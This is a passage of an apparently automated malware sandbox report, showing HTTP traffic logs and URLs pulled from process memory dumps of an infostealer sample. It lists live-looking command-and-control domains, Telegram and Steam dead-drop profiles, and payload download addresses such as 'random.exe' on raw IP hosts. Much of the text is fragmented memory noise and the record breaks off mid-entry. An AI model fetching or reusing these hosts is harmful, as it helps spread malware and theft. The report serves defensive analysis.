(Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:41:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12295 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: lts.beznervov.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=KzElaVMBZs4W6fAJVeUJo5zgKMV1CRO5CPbIC7eurxnbX%2FXyL8ihvNRy9x6OgxFbZXdQ58CQstK9OETK5tVVJ85bIXm8hCM6exjKtDEqwIoc"}]} CF-RAY: 9c72364ecdc65f02-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 14:42:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12300 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C.......6e:T5960,"3a.gg" Pattern match: "https://telegram.me/n1ds03" Pattern match: "https://steamcommunity.com/profiles/76561198745091601" Heuristic match: "telegram.me" Heuristic match: "cro.munsitex.com.lk" Heuristic match: "lts.beznervov.com" Heuristic match: "api.ipify.org" Heuristic match: "astrologickeconoablos.cc" Pattern match: "https://web.telegram.org" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "elegram.me" Pattern match: "https://cro.munsitex.com.lk/" Pattern match: "telegram.me/ho00rq" Heuristic match: "ro.munsitex.com.lk" Heuristic match: "unsitex.com.lk" Heuristic match: "munsitex.com.lk" Heuristic match: "*.munsitex.com.lk" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=s24pxcwzh%2f28srg6rzp%2fehmbw%2b6ggyfm3gonbdawcecjnm1svp8bnkfepqfdg4u%2f%2fuf5lotuiarlk5n7iksrtpiyh9c0c%2fivfw8bvoqyyhtp1qi%3d" Pattern match: "gram.me/ho00" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crl" Pattern match: "crl2.microsoft.com/pkiops/" Pattern match: "https://t.me/ho00rq" Pattern match: "telegram.org/img/website_icon.svg?4" Pattern match: "telegram.org/img/apple-touch-icon.png" Pattern match: "telegram.org/img/favicon-32x32.png" Pattern match: "telegram.org/img/favicon-16x16.png" Pattern match: "telegram.org/img/favicon.ico" Pattern match: "telegram.org/css/font-roboto.css?1" Pattern match: "telegram.org/css/bootstrap.min.css?3" Pattern match: "telegram.org/css/telegram.css?249" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "telegram.org/dl?tme=cc6276b74ea54399cd_4653140509329839093" Pattern match: "telegram.org/js/tgwallpaper.min.js?3" Heuristic match: "*.telegram.me" Pattern match: "sign.net/root.cr" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Heuristic match: "host: cro.munsitex.com.lk" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "ntrust.net" Pattern match: "www.microsoft.com0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "a.nel.cloudflare.com/report/v4?s=m9bh1vpq7ldudaxaxcu3qv7moywcp%2bcxnndqib6ojzunmh4" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*func).name" Heuristic match: "runtime.name.name" Heuristic match: "internal/reflectlite.(*rtype).name" Heuristic match: "internal/reflectlite.(*rtype).in" Pattern match: "type..eq.io/fs.patherror" Heuristic match: "embed.(*file).name" Heuristic match: "reflect.(*rtype).name" Heuristic match: "reflect.(*rtype).in" Heuristic match: "reflect.(*functype).name" Heuristic match: "reflect.(*ptrtype).name" Heuristic match: "unicode.cc" Heuristic match: "unicode.cf" Heuristic match: "unicode.co" Heuristic match: "unicode.mc" Heuristic match: "unicode.me" Heuristic match: "unicode.mn" Heuristic match: "unicode.nl" Heuristic match: "unicode.no" Heuristic match: "unicode.pe" Heuristic match: "unicode.pf" Heuristic match: "unicode.ps" Heuristic match: "unicode.sc" Heuristic match: "unicode.sk" Heuristic match: "unicode.sm" Heuristic match: "unicode.so" Heuristic match: "unicode.lt" Heuristic match: "unicode.lu" Heuristic match: "..\..\edge_pwahelper\host\identity_helper_main.cc" Heuristic match: "..\..\third_party\perfetto\src\protozero\field.cc" Heuristic match: "..\..\third_party\perfetto\src\protozero\scattered_heap_buffer.cc" Heuristic match: "?..\..\third_party\perfetto\src\base\time.cc" Heuristic match: "..\..\third_party\perfetto\src\tracing\event_context.cc" Heuristic match: "..\..\third_party\perfetto\src\tracing\internal\tracing_muxer_fake.cc" Heuristic match: "..\..\third_party\perfetto\src\tracing\core\null_trace_writer.cc" Heuristic match: "..\..\third_party\perfetto\src\tracing\core\shared_memory_abi.cc" Heuristic match: "..\..\third_party\perfetto\src\tracing\core\shared_memory_arbiter_impl.cc" Heuristic match: "..\..\third_party\perfetto\src\tracing\core\trace_writer_impl.cc" Heuristic match: "..\..\base\win\windows_version.cc" Heuristic match: "blink.net" Heuristic match: "..\..\base\win\win_util.cc" Heuristic match: "..\..\base\win\registry.cc" Heuristic match: ".a..\..\base\time\time_win.cc" Heuristic match: "..\..\base\threading\platform_thread_win.cc" Heuristic match: "..\..\base\synchronization\waitable_event_win.cc" Heuristic match: "..\..\base\native_library_win.cc" Heuristic match: "..\..\base\files\file_win.cc" Heuristic match: "..\..\base\files\memory_mapped_file_win.cc" Heuristic match: "..\..\base\win\security_util.cc" Heuristic match: "..\..\base\files\file_util_win.cc" Heuristic match: "..\..\base\values.cc" Heuristic match: "..\..\base\threading\scoped_blocking_call_internal.cc" Heuristic match: "..\..\base\win\resource_exhaustion.cc" Heuristic match: "..\..\base\threading\thread.cc" Heuristic match: "..\..\base\synchronization\condition_variable_win.cc" Heuristic match: "..\..\base\task\thread_pool\sequence.cc" Heuristic match: "..\..\base\task\thread_pool\pooled_task_runner_delegate.cc" Heuristic match: "..\..\base\task\sequence_manager\work_tracker.cc" Heuristic match: "..\..\base\task\sequence_manager\work_queue.cc" Heuristic match: "..\..\base\task\sequence_manager\task_queue_impl.cc" Heuristic match: "..\..\base\synchronization\waitable_event.cc" Heuristic match: "..\..\base\run_loop.cc" Heuristic match: "..\..\base\metrics\statistics_recorder.cc" Heuristic match: "..\..\base\metrics\sparse_histogram.cc" Heuristic match: "..\..\base\metrics\persistent_memory_allocator.cc" Heuristic match: "..\..\third_party\boringssl\src\crypto\mem.cc" Heuristic match: "ram.me" Heuristic match: "om.lk" Pattern match: "https://web.telegr" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=3z3dlixsnsjon%2ffhtgwrzxahzmuugykuudh5hidkicefgq5tuexhtmhgxwbj5nmfzjmv0wudq7rprm1kslubskyrlrvl7782ocbkzrggrzbo%2fdc%3d" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=owbuy3rvhx9cgv6u%2fv4vmcppndv%2bh%2bhnio6ibjipqenuh2btauhmkozshqqf7h2iwidj4zllohscofmyl57yrnhvgiwkckdxmmnxgbxyy8djbzw%3d"8f:T4e5e,Found URL "https://h" - Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp") Found URL "http://https://https://https://17.8bfe37e825718e5072b10b3ad73d28e5d/@95ro,t6^x" - Source: "00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp") Found URL "https://telegram.me/ho00rqbz11rmozilla/5.0" - Source: "00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262bz11rmozilla/5.0" - Source: "00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp") Found URL "https://cro.munsitex.com.lk/608710704/qwkgbhv.exec:\uotocol" - Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found URL "https://cro.munsitex.com.lk/" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "https://cro.munsitex.com.lk/bdddvc" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4+a6" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=s24pxcwzh%2f28srg6rzp%2fehmbw%2b6ggyfm3gonbdawcecjnm1svp8bnkfepqfdg4u%2f%2fuf5lotuiarlk5n7iksrtpiyh9c0c%2fivfw8bvoqyyhtp1qi%3d" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp") Found URL "https://telegram.me/ho00rqbz11rmozilla/5.0" - Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262bz11rmozilla/5.0" - Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found URL "http://https://https://https://17.8639cb66483e97a71f9c9860499c027d2@3ju@4ju@5ju@6ju@7ju@8ju@9ju@:ju@;ju@ju@?ju@@ju@aju@bju@cju@dju@eju@fju@gju.xyo:gv" - Source: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found URL "https://telegram.me/ho00rqbz11rmozilla/5.0" - Source: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262bz11rmozilla/5.0" - Source: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0quuu" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=3z3dlixsnsjon%2ffhtgwrzxahzmuugykuudh5hidkicefgq5tuexhtmhgxwbj5nmfzjmv0wudq7rprm1kslubskyrlrvl7782ocbkzrggrzbo%2fdc%3d" - Source: "00000000-00004592.00000001.250667.B7F80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004800.00000000.250494.53A80000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00004800.00000000.250494.53AB1000.00000040.mdmp") Found URL "https://cro.munsitex.com.lk/otocol" - Source: "00000000-00004800.00000001.251033.53A80000.00000004.mdmp") Found URL "https://telegram.me/telegram.mecies\micosoft\wummy://url/efault" - Source: "00000000-00004800.00000001.251033.53A80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004800.00000001.251033.53A80000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00004800.00000001.251033.53AB1000.00000040.mdmp") Found URL "http://https://https://https://17.851f668a2cea2ac24ab653acbae6f6bcawo=" - Source: "00000000-00004800.00000001.251033.53AB1000.00000040.mdmp") Found URL "https://telegram.me/ho00rqbz11rmozilla/5.0" - Source: "00000000-00004800.00000001.251033.53AB1000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262bz11rmozilla/5.0" - Source: "00000000-00004800.00000001.251033.53AB1000.00000040.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "https://cro.munsitex.com.lk/bdddbdddvc" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "https://cro.munsitex.com.lk/lmem8=ym'quj->dhw75stob'q>" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=1n2%2b77otrnfz2qpgco7w2qildlmmv3obrnpxxmkzl%2blceapqehzj3t8e76p8%2bsfsu5dng1t39hb8l802v9reb8hljy22ft6xvgaq3viru84aamg%3d" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoc10-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microocerau6-23.crt07iy()>@6t+a6" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2013-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011crt0wx" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://wwwft.com/pertserau10-06-23.crt07host:" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mz" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l31000710806,7864,3,hfile,0,0,,cc000c31000710806,7864,3,lpbuffer,1,0,,e0445fd66031000710806,7864,3,dwnumberofbytestoread,2,0,,40031000710806,7864,3,lpdwnumberofbytesread,3,0,,e0445fd650" - Source: "00000000-00004800.00000001.251033.55A70000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00005072.00000000.250700.40000000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005072.00000000.250700.4F6B0000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00005072.00000000.250700.A55F9000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005524.00000000.253568.025D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005568.00000000.252466.7CFA0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005768.00000000.249903.02E20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005768.00000001.250695.02E20000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00006396.00000000.252548.CB991000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006396.00000000.252548.E9500000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found URL "http://https://https://https://17.7412f3a85622ae60a2038c6bb3c6884afay;6px-pncowjtkhcgwxhdv=*q>b" - Source: "00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found URL "https://telegram.me/n1ds03ho0r1mozilla/5.0" - Source: "00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198745091601ho0r1mozilla/5.0" - Source: "00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found URL "http://94.154.35.25/diidar/random.exe130.12.180.43/vidar/random.exeu38f/index.phpoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00007260.00000000.250188.03450000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007260.00000000.250188.03450000.00000004.mdmp") Found URL "http://http://c:\users\hapubws\appdata\local\temp\94.154.35.25119867701015120://130.12.111986770101://130.12.194.154.35.256770101+++b6770101+++b6770101+++b94.154.35.25" - Source: "00000000-00007260.00000000.250188.0589A000.00000004.mdmp") Found URL "https://h\$@hl$ta.me/hvwsh" - Source: "00000000-00007500.00000000.250803.23F81000.00000040.mdmp") Found URL "https://h[_^a^]https://huei3>huch3;h[_^a^]uawavauatvwshe([_^a\a]a^a_]avvwush" - Source: "00000000-00007500.00000000.250803.23F81000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007500.00000000.250803.CFE00000.00000004.mdmp") Found URL "https://h\$@hl$ta.me/hvwsh" - Source: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found URL "https://h[_^a^]https://huei3>huch3;h[_^a^]uawavauatvwshe([_^a\a]a^a_]avvwush" - Source: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found URL "http://https://https://https://17.7d6711916f3e2e31a5b99d83cadd44bba8qmc:rnapionyv" - Source: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found URL "https://telegram.me/n1ds03ho0r1mozilla/5.0" - Source: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198745091601ho0r1mozilla/5.0" - Source: "00000000-00007500.00000001.251493.23F81000.00000040.mdmp") Found URL "https://lts.beznervov.com/lts.beznervov.comsafd" - Source: "00000000-00007500.00000001.251493.CFE00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007500.00000001.251493.CFE00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://microsoft.com03lssruuukssmpsdck[uh&f:n5n4g>z<.ocnn" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=c%2f6dgwoih7iqxld0vigb4ptjmwbfymvduwkmougqtclmqn3p05dshi5bfy1h%2ffao0fqlfu6la0h7erzaua1r7wdbpptxvpm2ky9tnm2nrdsr" - Source: "00000000-00007500.00000001.251493.D23A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007724.00000000.251124.024C0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007724.00000001.253044.024C0000.00000004.mdmp") Found URL 